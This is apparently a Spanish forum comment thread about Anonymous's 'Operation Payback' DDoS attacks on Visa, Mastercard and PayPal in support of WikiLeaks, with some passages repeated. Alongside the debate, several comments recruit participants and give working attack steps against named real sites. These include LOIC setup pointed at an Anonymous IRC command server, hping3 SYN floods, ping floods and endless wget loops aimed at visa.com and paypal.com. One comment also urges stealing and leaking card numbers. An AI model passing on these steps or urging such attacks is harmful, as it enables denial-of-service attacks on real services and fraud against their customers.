El grupo inicialmente originario de 4chan conocido como Anonymous ha tirado la página principal de visa en nombre de Wikileaks. Algunos otros objetivos de lo que ha sido llamado “Operation Payback” incluye el banco suizo PostFinance (todavía caído en estos momentos) que cerró la cuenta del fundador de WikiLeaks Julian Assange, PayPal (Anon tiró el blog pero ya está operativo) y Mastercard.
#6:
#4 Positivo. Los usuarios deberíamos pedir a quien corresponda que deje de alojar meneame en amazon. Y hago este comentario sin tener conocimiento si se esta gestionando algo al respecto.
#51:
#25: No soy pro-DoS, pero... Esto cada vez es más una guerra, y en las guerras las normas no son las mismas que en la paz, por eso mismo, el código penal militar tampoco es el código penal civil, por ejemplo.
Se podrá criticar a Anonymous por lanzar ataques "ilegales", pero ¿acaso no son ilegales igualmente las acciones de algunas personas e instituciones en USA? ¿Cómo tenemos que interpretar que se eliminen registros DNS, por ejemplo, contra una web que no ha hecho nada ilegal? ¿Cómo interpretar por ejemplo las declaraciones públicas incitan a matar a Assange? ¿O su persecución por parte de Interpol por unas ridículas acusaciones que sólo tienen sentido en Suecia, e incluso allá sólo suponen una multa?
Atacar con un DoS empresas como Visa, ¿es más ilegal que presionarla a que elimine una cuenta de una empresa que no ha cometido ningún crimen? Aquí lo que hay son dos bandos. Cada cual puede escoger a cuál se une o si quiere permanecer al margen, pero mientras siga siendo una guerra sus métodos serán los que son. A mí, en el mundo físico, tampoco me gusta que la gente solucione sus problemas con kalashnikovs, pero si están en guerra, entiendo que los usen.
#38:
A mi me parece que hay mucha incultura tecnológica. Para empezar dudo que se pueda llamar a anonymous como un grupo de ciber activistas, lo digo porque al decirlo de esa forma se entiende que es un grupo oficial y concreto, cuando en realidad es algo mucho más espontaneo a lo que cualquier persona se puede unir. De hecho es muy probable que la mayoría de las personas que han participado en ataques DoS atribuidos al "grupo" anonymous sean distintas a las que participan en este.
Tampoco son un grupo de hackers (o puede que alguno lo sea), pero definitivamente no están hackeando nada. Lo que hacen es mucho más parecido a una protesta o a una huelga a la japonesa.
Eso es algo importante, porque incluso yo no puedo evitar imaginarme cuando escucho de "el grupo de ciber activistas anonymous" de que son un grupo de 10 encapuchados que están en sus sótanos realizando el ataque, cuando en realidad es algo mucho más abierto y social.
#134:
#116 Sabes lo gracioso de todo esto? Lo ciego que estás. Todas estas webs que se están tirando... Quién te crees que las mantiene? El gobierno o los ciudadanos (clientes al fín y al cabo)? Sólo se le está recordando a estas empresas en el bando que se tienen que poner. Lo de hoy es un toque de atención. Si no rectifican ya saben a lo que se exponen. Hacer un ataque ddos no es nada en comparación con que realmente puede pasar. Desde hacer boicot a sus productos y servicios, pasando por destruir infraestruturas propias de las empresas. Y todavía me queda una eternidad para llegar a la opción de pegarle un tiro al propietario de la empresa, que es lo que hicieron realmente con Couso. No venga cosn demagogia barata porque esto que está pasando no es de hoy, esto lleva ya mucho tiempo cociéndose. Llevamos mucho tiempo sufriéndolo en nuestras propias carnes. No es justo que un tipo que lo único que hace es firmar papeles tenga un yate que cuesta lo mismo que sacar a miles de familias de la crisis. La crisis te recuerdo que es darle de comer a tu familia todos los días. Osea que tus frasecitas que leiste en algún libro que no escribiste ahórratelas. No lo mires como un ataque ddos, o una web caida durante unas horas, míralo como una revolución en la sociedad, un BASTA YA!. Si estamos unidos para esto, perfectamente podemos estar unidos para cuando lleguen las elecciones, para cuando pidamos un cambio en las leyes. Para decir que no queremos seguir jugando con estas reglas, con estas trampas en las que siempre ganan los mismos y la gran mayoría pierde. Quieres una frasecita de las tuyas que resume todo esto? Mal de muchos consuelo de tontos. El siguiente paso es que wikileaks publique algo que sea denunciable. Que salgan los nombres de los que provocan este mundo de mierda para muchos y paraiso para unos pocos. Que den con sus huesos en la carcel. Cuando termines de leer esto tomate 2 minutos sin escribir ni hacer nada, verás como lo ves desde otro punto de vista. Que no te cieguen las noticias de los mass media. Saludos.
Descargar y extraer la ultima versión de LOIC: https://github.com/downloads/NewEraCracker/LOIC/loic.1.1.1.14.zip
Abre un terminal y escribir (sin comillas) “sudo apt-get install wine” y espera a que finalice la instalación
En un terminal escribe (sin comillas) “sh winetricks” y en la aplicación selecciona dotnet20, e instalalo
Ve a aplicaciones >> Wine click en “Browse C: drive” luego mueve los archivos extraídos de LOIC en c:
Ahora ve a donde moviste los archivos y selecciona LOIC.EXE y dale a propiedades
En la pestaña de permisos selecciona “permitir ejecutar archivo”
Click derecho sobre LOIC:EXE y luego abrir con Wine
#40:
Decir que Anon ha tirado Visa, o cualquier otra página, en nombre de Wikileaks es erróneo. Lo habrán hecho en venganza por lo que le han hecho a Wikileaks, pero así parece que Wikileaks haya pedido a otro grupo que tire las páginas, que es ya lo que les faltaba...
#69:
#36 que cada uno haga lo que considere adecuado, pero diría que en vez de un flood con el ping puro, mejor hping3. Dependiendo de la conexión que se tenga:
sudo hping3 --flood -S -p 80 visa.com (a lo loco, probablemente pete el router)
O en vez de -S se puede poner -A... en fin, man hping3.
Interesante herramienta hping3.
#60:
Para #18. ...¿soy el único al que le parece mal este afán destructivo?...
Para empezar, no sabes ni de lo que hablas. Este tipo de manifestaciones públicas consiguiendo que servicios en Internet de ciertas empresas colapsen y dejen de funcionar por unos minutos u horas no causan absolutamente ningún daño físico en ningún sistema hardware. Son llamadas de atención por parte de la masa de ciudadanos a nivel global. Si no eres capaz de comprenderlo y verlo asi será mejor que sigas conectado a tu canal de televisión favorito para que sigas sintiéndote plenamente 'informado'.
El afan destructivo unicamente lo está demostrando el Sistema Político y Económico Establecido a Nivel Global contra un servicio legal y legítimo llamado Wikileaks.
#117:
#114 "sin motivo lógico aparente". Así que tirar visa.com o tirar mastercard.com (y con eso hacerle un buen daño económico) como represalia por alinearse con los enemigos de la democracia es "sin motivo lógico aparente".
Pues nada, que con tu equidistancia y tu apaciguamiento te vaya bien. Ya que nos ponemos a hacer comparaciones con los nazis: recuerda que aquel Chamberlain que quiso hacer lo mismo que tú, cediendo a lo que quisiera la maquinaria nazi para evitar la guerra, no es un buen precedente para tu causa. Y hay momentos en que ya Hitler se pasa e invade Polonia y hay que partirle la cara cueste lo que cueste.
#96 Twitter acaba de suspender esa cuenta, la que se va a liar
#73:
#18 mastercard.com ya funciona. Los muertos por el helicóptero militar estadounidense funcionan? Couso funciona? pues no te olvides que eso es el inicio de todo lo que está pasando. Assange es una cabeza de turco, pero la realidad son los crimenes tanto personales como económicos que se intentan ocultar. No desvies la atención a lo que no es.
#77:
Si quieres colaborar con Anonymous es muy sencillo (para Windows o para Linux mediante Wine):
1. Descarga Low Orbit Ion Cannon aquí -> http://www.megaupload.com/?d=PGY9AA5W
2. En "IRC server" introduce loic.anonops.net
3. Pulsa IMMA CHARGIN MAH LAZER
4. Disfruta del espectáculo.
LOIC se reconfigura sólo si Anonymous cambia el objetivo (esta tarde era la web de Mastercard, ahora es Visa). Ahora mismo, hay tanta gente usando LOIC que el programa tarda un poco en recibir la información del IRC de Anonymous, así que paciencia.
Payback is a bitch.
#62:
#51 "Esto cada vez es más una guerra"
Hace tiempo que lo es, recordemos la web de cultura, y cuando cerraron edonkey2000, o cuando entro la policia a llevarse los servidores de thepiratebay, llevamos en "guerra" desde siempre, con lagunas de paz y narcóticos fuertes para hacernos entrar en matrix o en el mundo de la piruleta, muchos se quieren quedar alli y ese es uno de los mayores obstaculos intentar "abrir los ojos" a la gente que los tiene vendados y piensan que tu estas errado.
#36 No responden a los pings desde hace tiempo, lo tienen capao como yahoo y las grandes webs... supongo que habra maneras mas sofisticadas de echarlos abajo, con encabezados falsos o algo.
#36#39 a modo únicamente informativo: si no responde al ping supongo que valdría (en linux, y supongo que también Mac) algo como: wget -O /dev/null http://site (donde -O es una letra o mayúscula, no un cero, y site el sitio concreto), y ya si lo metes en un bucle:
for (( i=1 ; i
#76#82 sólo añadir, por si alguien piensa usarlo y no conoce cómo funcionan los bucles, que un bucle hecho de esa manera: while true o while /bin/true no termina nunca, con lo que para dejar de enviar peticiones al sitio habría que, por ejemplo, cerrar la terminal o hacer CTRL+C
#80 no, te "bajas" el sitio y envías la información que recibes a /dev/null (o sea que dejas perder la información que recibes, pero el servidor tiene que mandarla y tu ordenador recibirla). Es como cargar la página en el navegador, sólo que el navegador la deja en memoria y en caché de disco y de esta forma la información se pierde directamente.
#36 y los servidores (pregunto eh?) no tienen manera de filtrar los pings para que no afecten a la web? no sé, banear las IP's que están haciendo ping temporalmente o algo?
#32 Muchas, (we are legion). Hay webs que se ponen en marcha para la operación y luego se abandonan. Se abren y se cierran continuamente. Son como una emisora "pirata" sometida a interferencias constantes por parte del poder. Ahora son las que contienen anonops. Para la payback se usó tieve.tk, por ejemplo.
#41 Para bloquear el ping primero tendría que llegar el ping. Puedes banear cuatro o cinco IPs, incluso quinientas, pero no miles. Aún así, sólo consigues aliviar un poco. Si tienes miles de personas saturando, no hay absolutamente nada que puedas hacer.
#36 que cada uno haga lo que considere adecuado, pero diría que en vez de un flood con el ping puro, mejor hping3. Dependiendo de la conexión que se tenga:
#36#69#74 Ya se ha comentado anteriormente: los pings (ICMP 8 ) se filtran por firewall y listo. En caso de querer molestar ;-), en Linux funcionaria mejor algo así:
while /bin/true ; do wget -t0 verified.visa.com -O /dev/null ; done
#82 Por mucho que los ping se filtren en el firewall, en el camino hasta que son eliminados (la línea WAN correspondiente) ocupan ancho de banda como todo lo demás. Si se satura por completo la línea del objetivo, se impide que el tráfico habitual llegue con normalidad, y ya tienes la denegación de servicio.
#36 ¿Y no hay manera de que te rastreen si haces ping? Se han dado casos de eso, ¿no? Francamente, no lo hago por que no tengo mucha idea de redes y no se hasta que punto sería prudente (para mí) que lo hiciese.
#36 ehmm... algún informático se partirá el culo, pero.. si te sale el mensaje "tiempo de espera agotado para esta solicitud" ¿significa que estás ahí en el ajo?
A mi me parece que hay mucha incultura tecnológica. Para empezar dudo que se pueda llamar a anonymous como un grupo de ciber activistas, lo digo porque al decirlo de esa forma se entiende que es un grupo oficial y concreto, cuando en realidad es algo mucho más espontaneo a lo que cualquier persona se puede unir. De hecho es muy probable que la mayoría de las personas que han participado en ataques DoS atribuidos al "grupo" anonymous sean distintas a las que participan en este.
Tampoco son un grupo de hackers (o puede que alguno lo sea), pero definitivamente no están hackeando nada. Lo que hacen es mucho más parecido a una protesta o a una huelga a la japonesa.
Eso es algo importante, porque incluso yo no puedo evitar imaginarme cuando escucho de "el grupo de ciber activistas anonymous" de que son un grupo de 10 encapuchados que están en sus sótanos realizando el ataque, cuando en realidad es algo mucho más abierto y social.
Decir que Anon ha tirado Visa, o cualquier otra página, en nombre de Wikileaks es erróneo. Lo habrán hecho en venganza por lo que le han hecho a Wikileaks, pero así parece que Wikileaks haya pedido a otro grupo que tire las páginas, que es ya lo que les faltaba...
Descargar y extraer la ultima versión de LOIC: https://github.com/downloads/NewEraCracker/LOIC/loic.1.1.1.14.zip
Abre un terminal y escribir (sin comillas) “sudo apt-get install wine” y espera a que finalice la instalación
En un terminal escribe (sin comillas) “sh winetricks” y en la aplicación selecciona dotnet20, e instalalo
Ve a aplicaciones >> Wine click en “Browse C: drive” luego mueve los archivos extraídos de LOIC en c:
Ahora ve a donde moviste los archivos y selecciona LOIC.EXE y dale a propiedades
En la pestaña de permisos selecciona “permitir ejecutar archivo”
Click derecho sobre LOIC:EXE y luego abrir con Wine
Me parece que tirar Visa y Mastercard no puede hacerles demasiado daño.
Mas dañino sería por ejemplo tirar paypal indefinidamente pues es un servicio web y si no opera su web se van a pique.
A visa y mastercard podrían sacarles numeros de tarjeta y repartirlos libremente por la web para que la gente las cancele en masa y joderles pero bien.
#37 A lo mejor lo han hecho a propósito, porque eso mismo pensaba yo cuando leí que tiraron un blog de paypal, pero eso se entiende mejor si ves esto como una huelga, lo importante no es causar daños, sino hacer ruido.
#51 "Esto cada vez es más una guerra"
Hace tiempo que lo es, recordemos la web de cultura, y cuando cerraron edonkey2000, o cuando entro la policia a llevarse los servidores de thepiratebay, llevamos en "guerra" desde siempre, con lagunas de paz y narcóticos fuertes para hacernos entrar en matrix o en el mundo de la piruleta, muchos se quieren quedar alli y ese es uno de los mayores obstaculos intentar "abrir los ojos" a la gente que los tiene vendados y piensan que tu estas errado.
A visa y mastercard podrían sacarles numeros de tarjeta y repartirlos libremente por la web para que la gente las cancele en masa y joderles pero bien.
sinceramente eso no tiene nada que ver con apoyar a wikileaks, es usar a la gente como rehenes
me direis que soy demagogo, en general sigo haciendo el mismo razonamiento que en comentario anterior si nos cebamos con los controladores, yo lo hice, por usar a la gente y dejarla sin vacaciones, por que ahora podemos usar a los usuarios de visa,paypal...., que sentido tiene fastidiar al que tiene una cuenta y lo usa para su negocio o sus compras?
que apoyar a wikileaks es apoyar a una buena causa, libertad y tal, pero tampoco somos nadie para decirle a la gente cual debe ser su opinion acerca de wikileaks. Dificultar el uso de las visas puede ser bastante transtorno para sus usuarios, dejarles sin paypal si contaba con el dinero que le debian de un pago ni te digo..
Si quieres colaborar con Anonymous es muy sencillo (para Windows o para Linux mediante Wine):
1. Descarga Low Orbit Ion Cannon aquí -> http://www.megaupload.com/?d=PGY9AA5W
2. En "IRC server" introduce loic.anonops.net
3. Pulsa IMMA CHARGIN MAH LAZER
4. Disfruta del espectáculo.
LOIC se reconfigura sólo si Anonymous cambia el objetivo (esta tarde era la web de Mastercard, ahora es Visa). Ahora mismo, hay tanta gente usando LOIC que el programa tarda un poco en recibir la información del IRC de Anonymous, así que paciencia.
#77 muy bien, alguien debería poner un post que salga a portada como como echar paypal abajo entre todos, estaría bien qeu estuvieran una semana tirados... o dos
#98 no, no es un Fake... yo por suerte no tengo MasterCard.. pero habrá que estar atento a ver si se filtran las Visa (de estas si que tengo) y en caso de ser así pedir el cambio.
Si el cambio lo tiene que hacer Visa (y no la entidad bancaria) puede ser un palo económico muy grande para ellos...
#102 Acaban de cerrar la página que enlazaba en #98 pero durante unos minutos mostraba una lista de números de tarjeta de crédito junto con su caducidad.
Lo de fake lo digo porque en otro twit de respuesta al original de Anon_Operation decían que no eran números mastercard porque no empezaban con el dígito 5 (mi mastercard empieza por 5, por lo que pueden tener razón en lo de que no son números reales).
Para los que critican Anonymous... conocéis alguna otra forma de que un simple ciudadano pueda demostrar su desacuerdo con la actitud de ciertas empresas y Gobiernos con respecto a Wikileaks? Salir a la calle no cuenta, no tiene cobertura, en Anonymous puede manifestarse cualquier persona de cualquier país del mundo, cada uno con sus razones, pero el fin es el mismo, hacer daño a quien nos lo hace a nosotros, a nuestra libertad, a nuestro derecho de saber que se cuece en las cocinas de los señores que nos gobiernan...
#4 Positivo. Los usuarios deberíamos pedir a quien corresponda que deje de alojar meneame en amazon. Y hago este comentario sin tener conocimiento si se esta gestionando algo al respecto.
#6 Jajajajaja. Ni de coña. Pídeselo a Gallir, pero vamos, no creo que ninguna empresa ofrezca ahora mismo el mismo servicio (al menos en cuanto a calidad/precio se refiere) que Amazon con su S3 y EC2.
El próximo es Paypal, cada vez hay más gente en la botnet, si esto sigue así llegara un momento que podrán tirarlas todas a la vez y dejarlas así indefinidamente. #9 Pues también podría ser.
El verdadero reto seria seguir tirando todas esas webs asta que Assange salga en libertad y wikileaks vuelva a estar abierta. Una batalla ganada no es ganar la guerra.
#29 No es un reto, es simplemente otra forma de respuesta al sistema que nos plantean/manipulan/entregan!... aunque para luego quedara como "un ataque de hackers" (WTF¿) para los medios "tradicionales", y así poder meter mano a legislar tal angelitoMagno vendiendo su neutralidad, siendo simplemente una saturación del servicio ofertado (vamos, no soportas todas las peticiones de lo que presumes vender).
... total, las cosas de antes funcionaban mejor!, mientras el pueblo soberano no vea las injusticias no pensaran en ellas, en la epoca romana hechaban a la gente a las fieras y la gente aplaudia!, y de eso hace unos cuantos siglos ya!, motivo por el cual estudiar historia!., Pues la historia se repite, a los leones con los controladores!!!
Total, mientras la masa este entretenida, no se quejara (ni dara cuenta) de las medidas de la "puerta de atras"
#58 Perfectamente de acuerdo. Pero me refiero, a que no me gustaria que estos ataques fueran algo anecdotico dentro de esta historia. Es simplemente mantener a estas webs tumbadas por tiempo ilimitado, ya que es uno de nuestras pocas vias para hacernos oir, pues que las voces no callen. No es suficiente con quejarnos un solo dia, por que dar limosnas no es suficiente para arreglar una vida. No es suficiente con una buena obra un dia para el resto del año tener nuestras conciencias tranquilas.
Que se cierren las webs indefinidamente, y ahí se verá nuestro verdadero poderío.
#66 Hombre, depende. En el caso de ciertas organizaciones, no tiene apenas otro efecto que el que mencionas (recordemos por ejemplo el ataque a la de la SGAE: ¿quien entra en la web de la SGAE?). En otros casos como Visa y Mastercard, ya no está tan claro, porque son empresas a las que sus clientes quizás se conecten, o a las que simplemente el ataque pueda fastidiar su red lo suficiente como para tener algún efecto colateral.
Pero: ¿Y si se hubiera hecho un ataque contra Amazon, por ejemplo? ¿Y si se hiciera uno contra Facebook, en caso de una hipotética censura en los próximos días? Eso ya es algo más que fastidiarle la tarde a algún administrador.
Quizás todo esto no sean sino escaramuzas de calentamiento para las grandes batallas que están por llegar. Yo, por si acaso, ya estoy calentando las palomitas.
La ruta de los TPVs suele ser distinta a la web pública (y estar en servidores distintos) para evitar que se sufran problemas de este tipo (vamos, que VISA deje de dar servicio por un DDoS).
Así que creo que a la gente de VISA y cia no les importa demasiado que les hayan tirado la web. La pasta les sigue llegando igual.
Lo que esta hecho con dinero publico debe ser público.
Si publicas información de una empresa privada cometes un delito. Si publicas información de una administración pública ejerces un derecho.
Se ha generado una guerra innecesaria. TODOS los documentos "filtrados" por WikiLeaks se deberían publicar como un derecho de los contribuyentes y no como una guerra contra los gobiernos.
Digo yo... si lo que se pretende es fastidiar... ¿porque no se ataca a los servidores DNS? Quiero decir, si no hay resolucion de nombres, no hay ni web, ni correo ni nada que use *.visa.com
El no ver una web, no es más que algo simbólico, el dejar de recibir correo son palabras mayores.
Y es que por el mismo precio, tiran al menos 2 servicios.
El #pirata logró acceso a la información de cuenta, la cual se refiere a unos 3.4 millones de tarjetas #Visa y 2.2 millones de #MasterCard. en telenoticias 7
Si van a por Facebook o Twitter les puede pasar como a los controladores, que la gente en vez de apoyarlos se cabree por quitarles sus sites favoritos.
El siguiente deberia ser Ikea. Parece q Suecia va a enviar a Assange directamente a EEUU en cuanto se lo pasen los britanicos. No estaria mal bloquear su web todas las navidades... V
¿soy el único al que le parece mal este afán destructivo? qué miedo dais, qué miedo. legitimidad para hacer daño, ¿cuántas desgracias han pasado por ella? y parece que nunca abará, el ser humano es imbécil. pero nada, seguid jaleando, yo soy el equivocado. qué felices viviríais en el primer tercio del siglo xx.
#18
La "masa" esta rabiosa, demasiadas putadas a la vez..y lo que tiene de venir, no soy pro-floods, lo entiendo, pero no es el camino.
Esperemos que cuando "la masa" se calme un poco, pensar que se puede hacer.
#25: No soy pro-DoS, pero... Esto cada vez es más una guerra, y en las guerras las normas no son las mismas que en la paz, por eso mismo, el código penal militar tampoco es el código penal civil, por ejemplo.
Se podrá criticar a Anonymous por lanzar ataques "ilegales", pero ¿acaso no son ilegales igualmente las acciones de algunas personas e instituciones en USA? ¿Cómo tenemos que interpretar que se eliminen registros DNS, por ejemplo, contra una web que no ha hecho nada ilegal? ¿Cómo interpretar por ejemplo las declaraciones públicas incitan a matar a Assange? ¿O su persecución por parte de Interpol por unas ridículas acusaciones que sólo tienen sentido en Suecia, e incluso allá sólo suponen una multa?
Atacar con un DoS empresas como Visa, ¿es más ilegal que presionarla a que elimine una cuenta de una empresa que no ha cometido ningún crimen? Aquí lo que hay son dos bandos. Cada cual puede escoger a cuál se une o si quiere permanecer al margen, pero mientras siga siendo una guerra sus métodos serán los que son. A mí, en el mundo físico, tampoco me gusta que la gente solucione sus problemas con kalashnikovs, pero si están en guerra, entiendo que los usen.
#51 De todas formas, esto para mi es más parecido a una huelga, y por lo tanto no es equiparable a el acoso que está haciendo EEUU entre otros contra wikileaks. Por eso es que no me parece bueno que se enfoque esto como si fuera algo de la misma calaña.
No es lo mismo cortar una calle poniendo contenedores en medio de la calle y quemandolos, que coger a un grupo de personas y pasar por esa calle cada uno con su coche(normalmente, sin quedarse parado) hasta que se sature "sola".
#18#25 Los gobiernos y las grandes empresas tienen el poder, y quien tiene el poder decide como se juega. Y ellos han decidido que el diálogo pacífico, la transparencia y la justicia no funcionan aquí.
Pero los Anonymous están buscando todo tipo de iniciativas útiles: posters, propaganda, etc. Si tenéis una idea que creáis que puede causar tanta repercusión como la que están causando estos ataques, estáis tardando en compartirla.
#31 ¿que sigo en el rebaño? ¿que YO sigo en el rebaño? mira los comentarios de esta noticia, mira quien sigue en el rebaño, mira quien soluciona las cosas destruyendo y pisoteando mientras lo arrean. lo que me faltaba por oír, un tipo que que sigue a una masa destructiva me acusa estar en el rebaño.
¿no te sonríe la vida? (permíteme que lo dude) ¿por eso las ganas de hacer daño? muy bien, muy bien, estás ya oficialmente en el bando de los malos, hacer daño por hacer daño, sin motivo lógico aparente.
en fin, pues seguiré aquí mientras me quede karma, en mi rebaño de UNA persona pidiendo cordura. sois los putos herederos de los nazis, masa destructiva, que ante los problemas no busca soluciones, sino venganza y desquite.
estáis demostrando que nada ha cambiado, que todo sigue igual.
(voz de tonto: mira mira, mira que gracioso cómo arde todo, mira)
Para #18. ...¿soy el único al que le parece mal este afán destructivo?...
Para empezar, no sabes ni de lo que hablas. Este tipo de manifestaciones públicas consiguiendo que servicios en Internet de ciertas empresas colapsen y dejen de funcionar por unos minutos u horas no causan absolutamente ningún daño físico en ningún sistema hardware. Son llamadas de atención por parte de la masa de ciudadanos a nivel global. Si no eres capaz de comprenderlo y verlo asi será mejor que sigas conectado a tu canal de televisión favorito para que sigas sintiéndote plenamente 'informado'.
El afan destructivo unicamente lo está demostrando el Sistema Político y Económico Establecido a Nivel Global contra un servicio legal y legítimo llamado Wikileaks.
#60 "llamadas de atención" ja, ja, ja. es verdad joder, no lo había entendido. pero es que ¡ni siquiera causa daños al hardware! joder, que tonto he sido. voy a poner mi canal favorito de televisión, y a ver el un dos tres:
por 25pts cada respuesta, dígame eufemismos de hacer daño en represalia, como por ejemplo "llamada de atención", un, dos, tres, responda otra vez.
por otras 25pts, eufemismos de linchamiento, como "manifestación pública".
#127 no, prefiero estar aquí un ratito, siendo vuestro pepito grillo. ¿molesto mucho? puta conciencia, ¿no?
#60 Si las horas en que esas webs no estan funcionando generan perdidas, si hay destruccion
Es como si un piquete se planta delante de un negocio y evita que los clientes entren a comprar ... no hay materiales rotos (podria haberlos, aunque no tiene por que), ¿hay perdidas ocasionadas por clientes que efectivamente tenian pensado entrar a comprar y no van a poder hacerlo?
Si hay algo peor que realizar un acto nocivo es intentar racionalizarlo y justificarlo. Si el caracter nocivo no fuese tal, entenderia la discusion; por el contrario, negar el perjuicio economico causado a las webs bloqueadas me parece ya demasiado
#18 mastercard.com ya funciona. Los muertos por el helicóptero militar estadounidense funcionan? Couso funciona? pues no te olvides que eso es el inicio de todo lo que está pasando. Assange es una cabeza de turco, pero la realidad son los crimenes tanto personales como económicos que se intentan ocultar. No desvies la atención a lo que no es.
#73 ¿qué? ¿has resucitado a couso tumbando webs? ¿habéis conseguido algo destruyendo? dime, dime, porque si es así, me uno a la orgía. no sé si habrás oído esto que voy a poner en negrita, pero ha habido muchas desgracias en la historia de la humanidad por no haber seguido estas palabras, a ver si te suena:
EL FIN NO JUSTIFICA LOS MEDIOS
en el caso de hoy, quizás no sería ni aplicable, porque ni siquiera es un medio el hacer daño, sino un fin en si mismo, es todavía peor. además, yo no estoy defendiendo que metan a assange en prisión, ni que no se investiguen crímenes, ni que no se filtren cosas, sino la actitud de todo el mundo ante esto. sobredimensionándolo primero y usándolo después como excusa (muy mala, aunque en rebaño cualquier cosa vale) para hacer daño a mucha gente.
#18 Perdón, quería votar positivo. Pienso que Visa, PayPal et al. son una tropa de cobardes, pero no me gusta que Anonymous abra la temporada de caza de todo el que no comparte sus ideas. Es la clásica prepotencia que se le critica a los gobiernos estadounidenses de "lo hacemos porque tenemos los medios y nadie nos puede detener". Es la ley de la selva, gana el que haga el mejor DDoS, y se sabe que si luchamos con las armas de los poderosos, es decir, rifles, dinero y tecnología, llevamos las de perder ("Sí, los bombardeamos porque eran una amenaza armados con todas esas piedras e intenciones terroristas".) Como a la mayoría, me gusta que Lieberman reciba una dosis de su propio método, pero en el fondo sé que ese no es el camino. Hay que lanzarse a protestar contra la censura y retirar fondos de PayPal.
Comentarios
.
.
.
=== Para los que quieran ayudar y NO quieran/puedan usar el LOIC ===
.
.
.
---=== Para Windows ===---
Inicio -> Ejecutar -> escribe "cmd" sin comillas y dale a enter.
En la ventana negra que sale, escribe:
ping www.visa.com
#36 No responden a los pings desde hace tiempo, lo tienen capao como yahoo y las grandes webs... supongo que habra maneras mas sofisticadas de echarlos abajo, con encabezados falsos o algo.
#39 Digo yo que algo ayudará, ¿no? Pregunto, que es que no lo sé
#36 #39 a modo únicamente informativo: si no responde al ping supongo que valdría (en linux, y supongo que también Mac) algo como: wget -O /dev/null http://site (donde -O es una letra o mayúscula, no un cero, y site el sitio concreto), y ya si lo metes en un bucle:
for (( i=1 ; i
#75 while true;
do wget -O /dev/null http://site ;
done
#76 #82 sólo añadir, por si alguien piensa usarlo y no conoce cómo funcionan los bucles, que un bucle hecho de esa manera: while true o while /bin/true no termina nunca, con lo que para dejar de enviar peticiones al sitio habría que, por ejemplo, cerrar la terminal o hacer CTRL+C
#75 Con eso se supone que sacas los puertos abiertos o que?
#80 no, te "bajas" el sitio y envías la información que recibes a /dev/null (o sea que dejas perder la información que recibes, pero el servidor tiene que mandarla y tu ordenador recibirla). Es como cargar la página en el navegador, sólo que el navegador la deja en memoria y en caché de disco y de esta forma la información se pierde directamente.
#36 y los servidores (pregunto eh?) no tienen manera de filtrar los pings para que no afecten a la web? no sé, banear las IP's que están haciendo ping temporalmente o algo?
pd: pingeando me hallo
#41 No lo sé... pero a mi sí que me responden a los pings.
#43 Supongo que dependerá de la distribución. En Ubuntu y similares está en Aplicaciones -> Accesorios -> Terminal
#46 La tuya que uses para entrar en tu cuenta de usuario de tu Mac
#69 Para los linuxeros... una buenísima herramienta
#32 Muchas, (we are legion). Hay webs que se ponen en marcha para la operación y luego se abandonan. Se abren y se cierran continuamente. Son como una emisora "pirata" sometida a interferencias constantes por parte del poder. Ahora son las que contienen anonops. Para la payback se usó tieve.tk, por ejemplo.
#41 Para bloquear el ping primero tendría que llegar el ping. Puedes banear cuatro o cinco IPs, incluso quinientas, pero no miles. Aún así, sólo consigues aliviar un poco. Si tienes miles de personas saturando, no hay absolutamente nada que puedas hacer.
#36 soy novato con mi linux ¿como abro la consola??
#43 Un linuxero que no sabe abrir la consola. El fin de los tiempos se acerca... penitenciagite.
#36 Que contraseña?
#36 a mi sí me está respondiendo a los pings
#36 que cada uno haga lo que considere adecuado, pero diría que en vez de un flood con el ping puro, mejor hping3. Dependiendo de la conexión que se tenga:
sudo hping3 --fast -S -p 80 visa.com (10 paquetes por segundo)
sudo hping3 --faster -S -p 80 visa.com (100 paquetes por segundo)
sudo hping3 --flood -S -p 80 visa.com (a lo loco, probablemente pete el router)
O en vez de -S se puede poner -A... en fin, man hping3.
Interesante herramienta hping3.
#36 #69 #74 Ya se ha comentado anteriormente: los pings (ICMP 8 ) se filtran por firewall y listo. En caso de querer molestar ;-), en Linux funcionaria mejor algo así:
while /bin/true ; do wget -t0 verified.visa.com -O /dev/null ; done
#82 Por mucho que los ping se filtren en el firewall, en el camino hasta que son eliminados (la línea WAN correspondiente) ocupan ancho de banda como todo lo demás. Si se satura por completo la línea del objetivo, se impide que el tráfico habitual llegue con normalidad, y ya tienes la denegación de servicio.
#36, #69, #74 ¿Por qué sudo?
#93 Porque un usuario "normal" no puede hacer flood, tiene un intervalo mínimo de 200ms.
#36 Para los ping de Linux y Mac es necesario poner el http antes, si no hace packet lost al 100%.
Por ejemplo:
$ sudo ping -f http://www.paypal.com
#36 ¿Y no hay manera de que te rastreen si haces ping? Se han dado casos de eso, ¿no? Francamente, no lo hago por que no tengo mucha idea de redes y no se hasta que punto sería prudente (para mí) que lo hiciese.
#36 según tengo entendido los pings no sirven.
#36 hacer pings no es ilegal.
pondrian el comando ping en windows? estarian regalando algo ilegal en un sistema operativo.
#36 por que no explicas como usar LOIC?
#36 ehmm... algún informático se partirá el culo, pero.. si te sale el mensaje "tiempo de espera agotado para esta solicitud" ¿significa que estás ahí en el ajo?
A mi me parece que hay mucha incultura tecnológica. Para empezar dudo que se pueda llamar a anonymous como un grupo de ciber activistas, lo digo porque al decirlo de esa forma se entiende que es un grupo oficial y concreto, cuando en realidad es algo mucho más espontaneo a lo que cualquier persona se puede unir. De hecho es muy probable que la mayoría de las personas que han participado en ataques DoS atribuidos al "grupo" anonymous sean distintas a las que participan en este.
Tampoco son un grupo de hackers (o puede que alguno lo sea), pero definitivamente no están hackeando nada. Lo que hacen es mucho más parecido a una protesta o a una huelga a la japonesa.
Eso es algo importante, porque incluso yo no puedo evitar imaginarme cuando escucho de "el grupo de ciber activistas anonymous" de que son un grupo de 10 encapuchados que están en sus sótanos realizando el ataque, cuando en realidad es algo mucho más abierto y social.
#38 mola más imaginarlos como un grupo de encapuchados en un sótano. Dan más miedito
IMMA CHARGIN MAH LAZER
#8 KEEP FIRING
#14 LOIC at full powaaa!. Nuestra pequeña cerilla al infierno que se les viene encima... =)
#14 han suspendido al usuario. Fuck twitter.
Soy fan de Anonymous desde ya.
Decir que Anon ha tirado Visa, o cualquier otra página, en nombre de Wikileaks es erróneo. Lo habrán hecho en venganza por lo que le han hecho a Wikileaks, pero así parece que Wikileaks haya pedido a otro grupo que tire las páginas, que es ya lo que les faltaba...
Por mi parte vale, a portada. Este tema es como una especie de "manifestación" virtual, en menéame.
Envio esta porque Visa cae 7 minutos después de la hora fijada para el ataque
Visa cae 7 minutos después de la hora fijada para ...
isitup.orgGuía de configuración para Operation payback
